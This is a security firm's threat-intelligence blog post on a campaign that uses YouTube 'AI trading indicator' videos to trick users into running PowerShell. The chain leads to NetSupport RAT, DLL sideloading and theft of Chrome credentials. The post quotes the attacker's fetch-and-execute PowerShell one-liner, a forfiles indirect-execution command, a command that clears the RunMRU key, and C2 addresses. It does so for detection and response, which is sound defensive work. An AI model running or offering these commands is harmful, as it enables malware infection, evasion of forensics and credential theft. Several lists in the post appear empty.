Phil Roberts, Giacomo Marchese | 16 October 2025
The latest AI trading hype on YouTube is winning big -- for threat actors.
Fortian has recently observed an increase in malicious “TradingView AI indicator” YouTube tutorials, that lead onto multi-stage info-stealer infection chains. Videos funnel victims to attacker-controlled GitHub repositories with copy paste PowerShell instructions, which pulls down and runs a NetSupport binary (RMM) for initial access, a Java run time environment vulnerable to DLL sideloading, and process injection into a Chinese Anti-Virus software, ultimately leading to browser credential theft.
This blog post will provide details on the campaign, its infection steps, novel techniques identified, investigation guidelines for similar incidents, recommended detection rules, and tactical security recommendations to protect organisations against threats of this nature.
Fortian’s Security Operations Center has identified a multi-stage information-stealing campaign in which threat actors distribute malware through YouTube videos promoting “AI-assisted” TradingView signals.
The videos direct victims to an attacker-controlled GitHub repository containing a PowerShell command that users are instructed to execute manually. Once run, this PowerShell command retrieves and executes a second-stage script from an attacker-controlled open directory, which in turn deploys NetSupport RAT to the compromised system.
NetSupport establishes persistence and drops a javaw.exe binary along with two malicious DLLs which are DLL-compiled malware loaders. The legitimate Java binary side-loads these DLLs, resulting in the download and execution of a secondary component identified as a Chinese antivirus utility developed by 360 Total Security.
The hijacked Java process then injects code into the AV process, which is leveraged to extract stored Google Chrome credentials from the host.
While similar campaigns have been ongoing for several months, Fortian notes that this particular campaign utilises a different infection chain and implements novel defence evasion and anti-forensics techniques, specifically via an indirect ClickFix-style execution and clearing the RunMRU registry key, which is the primary forensic artefact to identify executions via the Windows Run dialog.
It also utilises a genuine RMM tool as a first-stage malware loader, DLL sideloading against a benign Java Run Time Environment binary, and a Chinese AV tool to extract browser credentials. Fortian detected this campaign via our custom detection rules and was able to respond and mitigate within 20 minutes.
The campaign begins with malicious YouTube videos describing an AI assisted TradingView signal. TradingView is a platform that provides advanced charting tools and real-time market data for traders and investors to analyse financial markets and share trading ideas. It also provides a social networking and community feature, where members can freely contribute trading strategies and TradingView Signals. TradingView Signals are automated alerts generated from indicators or strategies that notify traders of potential market opportunities based on predefined technical conditions.
In this instance, the YouTube video titled *New AI Indicator for Crypto Market Analysis | ChatGPT-Powered Trading Charts – YouTube* (https://www.youtube.com/watch?v=Hm-ga5HlXr8) promoted a ChatGPT-powered trading “add-on” that required enabling a “developer mode” mode in TradingView.
The video description contained “ClickFix style” social engineering technique, instructing the end user to copy code directly from a linked GitHub page (which has since been taken down - `hxxps://github.com/TradingViewGit/developer-features/blob/main/enable-dev-mode`), and from there open a command prompt on their device and paste and run the copied code. (See description - 1.1).
Notably, the instructions call for using the Run dialog but only to open the command prompt. This is a defence evasion technique, as many EDR now alert and block certain PowerShell commands executed via the Run dialog.
The PowerShell command included in the GitHub repository was:
powershell -Command "$update='betasignal'; $mode='tradingview'; $key='ai'; $file='earlyaccessuser'; $url=$update+$mode+$key+'.app/update/'+$file; &{ iex ([System.Text.Encoding]::UTF8.GetString((iwr $url -UseBasicParsing).Content)) }"
This command is fairly simple:
betasignaltradingviewai[.]app/update/earlyaccessuser) iwr (Invoke-WebRequest) to retrieve the code. iex (Invoke-Expression). This is to invoke the code remotely from the open directory rather than downloading a file to disc.
This remote location hosts the script that serves as the malicious dropper. The script is more complex, but at a high level it performs several functions:
C:\Users\user\Documents folder. client32.exe. forfiles.exe.
While the script is fairly similar to most droppers, it does have a few notable characteristics. Firstly, unlike other well documented NetSupport infection chain, this particular dropper utilised indirect command execution (T1202) via forfiles.exe to execute the client32.exe binary. The command (referencing obfuscated variables) was:
forfiles /p ********** /m calc.exe /c "cmd /c start \"\" \"C:\Windows\explorer.exe\" "C:\Users\<user name>\Documents\ARFCs9RzRp\client32.exe" \""
The command searches the C:\Windows\System32 directory for calc.exe and if detected will run the additional command. The second command executes the client32.exe binary from the folder created in the users Documents folder. This indirect execution method is used to bypass EDR and custom SIEM detections that look for NetSupport being spawned by a command interpreter.
A second notable characteristic of this campaign not mentioned in other write ups is the additional defence evasion technique employed. Specifically, the malware dropper also cleared the RunMRU registry key upon execution via the following command:
try { Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name * -ErrorAction SilentlyContinue } catch { }
The RunMRU stores the recent commands executed via the Windows Run dialog box (Win+R). Clearing its contents hinders forensic efforts, as it is the primary forensic artefact used to determine commands executed via the Windows Run dialog.
After dropping NetSupport (client32.exe) onto the device, the next stage of the infection chain began.
The NetSupport client32.exe binary was used as a second stage dropper, specifically to automatically retrieve and execute a second binary called Beacon-Digi64.exe along with two DLL files (git2-3f4182d.dll and jli.dll) into the newly-created folder C:\hp\Package555\Package.
These files were retrieved by the dropper off the threat actor’s command and control server hosted on the IP address 179.43.178.226. We also note that the temporary file name for the Beacon-Digi64.exe binary was TEMPFILE.$$$.DESKTOP-GSQGOH5, further indicating ingress from the attacker controlled C2. Looking up the device name DESKTOP-GSQGOH5
on Fofa, we observe that it maps the IP 179.43.178.226
This IP address belongs to the Swiss VPS hosting provider Private Layer. A similar IP address belonging to Private Layer 141.255.161.122 was observed acting as a C2 server during incident described in this blog.
The Beacon-Digi64.exe binary along with git2-3f4182d.dll and jli.dll were moved to the directory C:\ProgramData\Fmremote_uab before being executed by client32.exe. This binary is a re-named copy of the binary javaw.exe and serves as a second-stage malware loader. When executed it loads the two DLLs which contain compiled code for the malware loader and to facilitate C2 communication.
Javaw.exe is a legitimate and signed binary created by Bell Soft which is vulnerable to DLL sideloading. Abuse of this binary has been evidenced previously, such as by ProofPoint and SecureList. In this instance a malware loader, likely HijackLoader based on the DLL’s hash, was loaded into memory when the Beacon-Digi64.exe process was executed.
After running, Beacon-Digi64.exe it dropped two additional files to disc which were immediately executed:
XPFix.exe in the C:\Users\<user name>\AppData\Roaming\Fmremote_uab\ directory. ClusterDri.exe in the C:\Users\<user name>\ directory. Both binaries are software components belonging to 360 Total Security. This is an all-in-one antivirus product developed by the Chinese software company Qihoo (360.cn).
XPFix.exe is a renamed PE of the binary 360XPFix.exe, which is another component of the all-in-one antivirus product. ClusterDri.exe is a renamed PE of 360websield.exe, which is a binary related to the web protection module that runs alongside your browser to help block malicious/phishing sites and risky downloads. `While these tools are not inherently malicious, they were abused in this campaign.
After running, the hijacked Beacon-Digi64.exe used process hollowing to inject its malicious code into the running XPFix.exe and ClusterDri.exe processes. Next, XPFix.exe created two scheduled tasks called JbValid_dbg and qz-validate_x86 with parameters to execute Beacon-Digi64.exe, which was the original dropper.
ClusterDri.exe then established a connection to the attacker’s C2 server 141.255.161.122 over port 3333 and 3335. It then executed a WMI query scanning for all antivirus tools on the system, consistent with documented Hijackloader activity. It also hooked into the Windows API to monitor keystrokes.
Finally, ClusterDri.exe accessed the Windows DPAPI to retrieve and decrypt the Google Chrome Logon Data file. This file is a local SQLite database that contains the password manager credentials and session cookies for Google Chrome. It is encrypted on disc using the Windows DPAPI but can be decrypted by the calling the CryptUnprotectData function. ClusterDri.exe then zipped the contents into a 7 Zip archive and attempted to upload it to the C2 server.
After extracting the Chrome Logon Data file, ClusterDri.exe was also observed performing local device discovery by enumerating all local groups on the system and listing the members of each group. The specific commands executed was:
cmd.exe /C "for /f "delims=*" %x in ('net localgroup ^|find "*"') do net localgroup "%x""
Fortian notes that in testing the EDR (Defender for Endpoint) was unable to effectively block this malware. We hypothesise that this is likely due to a combination of the following factors:
There are several steps in this kill chain that can be difficult to investigate for a SOC or incident response analyst.
Beginning with initial execution, the user executed the PowerShell command via Command Prompt, rather than via the Windows Run dialog box. This resulted in a seemingly out-of-nowhere infection, where it was clear the user themselves executed the command, but it was unclear what prompted them to do so. Analysts can differentiate ClickFix versus direct user execution by comparing the process tree and registry artefacts:
The next challenge is identifying where the user obtained this malicious script. In our case, we first obtained a copy of the device’s browser history and worked directly with the end user. We were able to identify that this was originated from a malicious YouTube video. We then mapped full URLs retrieved from the browser history to domain artefacts available to Fortian within the device’s EDR logs:
These indicators allowed us to completely map out the initial source.
Concurrently, we investigated the second order effects of the PowerShell script by de-obfuscating the command and manually reviewing the referenced domain in a sandbox. While performing static code analysis on the script in the open directory, we also manually investigated subsequent activity on the device via EDR logs.
For SOC analysts, there are several key factors to be aware of:
irw + iex: iwr (Invoke-WebRequest) fetches the content from a URL (returns the response or .Content), and piping that into iex (Invoke-Expression) causes PowerShell to evaluate and run the downloaded string as code in the current scope. In other words, it will load the code into memory and execute it. This is very rarely used by end users in legitimate circumstances. beacon_digi64.exe binary sideloaded two malicious DLLs. This was evident by looking at DLL load events for the beacon_digi64.exe process and inspecting the file location for said DLL. We were able to quickly determine that the DLLs loaded by the process were recently written to disc and loaded from a user directory, which is highly unusual. This, coupled with looking up the DLL file hashes on OSINT tools, quickly confirmed the DLL side loading hypothesis.
There are numerous detection capabilities throughout this infection chain which Fortian strongly recommend incorporating into your detection ruleset. All of these signatures proved highly effective, detecting each stage of this campaign while producing minimal false positives over the past several years of being included in our rule set. In particular, organisations should focus on detecting:
All of these rules are possible to write with typical EDR / Sysmon log events and, if tuned properly, will produce little to no false or benign positives. These rules also target common detectable chokepoints and have cross-application to numerous other campaigns extending beyond infostealers.
The following mitigations can be applied to limit the ability for an actor to infect a device with malware and steal sensitive data. These are provided in order of effectiveness:
URLs:
File Hashes (SHA256):
IP Addresses (C2):
PowerShell Command:
Request a consultation with one of our security specialists today or sign up to receive our monthly newsletter via email.
Get in touch Sign up!